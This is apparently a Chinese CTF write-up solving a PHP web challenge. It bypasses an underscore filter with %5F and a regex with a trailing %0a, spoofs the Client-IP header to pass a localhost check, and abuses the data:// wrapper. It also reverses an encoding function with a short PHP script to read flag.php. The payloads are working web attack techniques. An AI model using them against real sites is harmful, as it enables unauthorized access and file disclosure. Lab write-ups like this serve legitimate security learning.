打开靶机,先看源码
<!--
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->
需要绕过两个if
第一个if屏蔽get请求语句中得_和它的url编码%5f,我们这里可以用%5F来绕过(其实根据php匹配规则 . 和 空格 也能绕过)
第二个if要求b_u_p_t值为23333且正则匹配23333,正则表达式中的 $ 默认只匹配字符串的结尾,而不会跨行检查,所以这里我们用换行符%0a绕过
最终payload:?b%5Fu%5Fp%5Ft=23333%0a
flag在secrettw.php
访问查看源码,只允许local访问,我们抓个包改client-ip值为127.0.0.1,查看源码
点击查看代码
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随便post个Merak值获得源码
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
给出了目标文件flag.php,一个change方法进行base64解密并进行ASCII 值偏移
先解决file_get_contents($_GET['2333']) === 'todat is a happy day'
用data伪协议写入即可data://text/plain,todat is a happy day
之后只需让第二个file_get_contents函数值等于flag.php就行,不过中间有个change方法,我们照着来逆向思维,先反偏移再加密就行,直接放脚本
<?php
$offset_str = "flag.php";
$original_str = '';
for ($i = 0; $i < strlen($offset_str); $i++) {
$original_char_ascii = ord($offset_str[$i]) - ($i * 2);
$original_str .= chr($original_char_ascii);
}
echo base64_encode($original_str);
得到ZmpdYSZmXGI=
最终payload=?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=
查看源码获得flag
flag{1defb82b-fa8e-4c03-8950-1eccc3453248}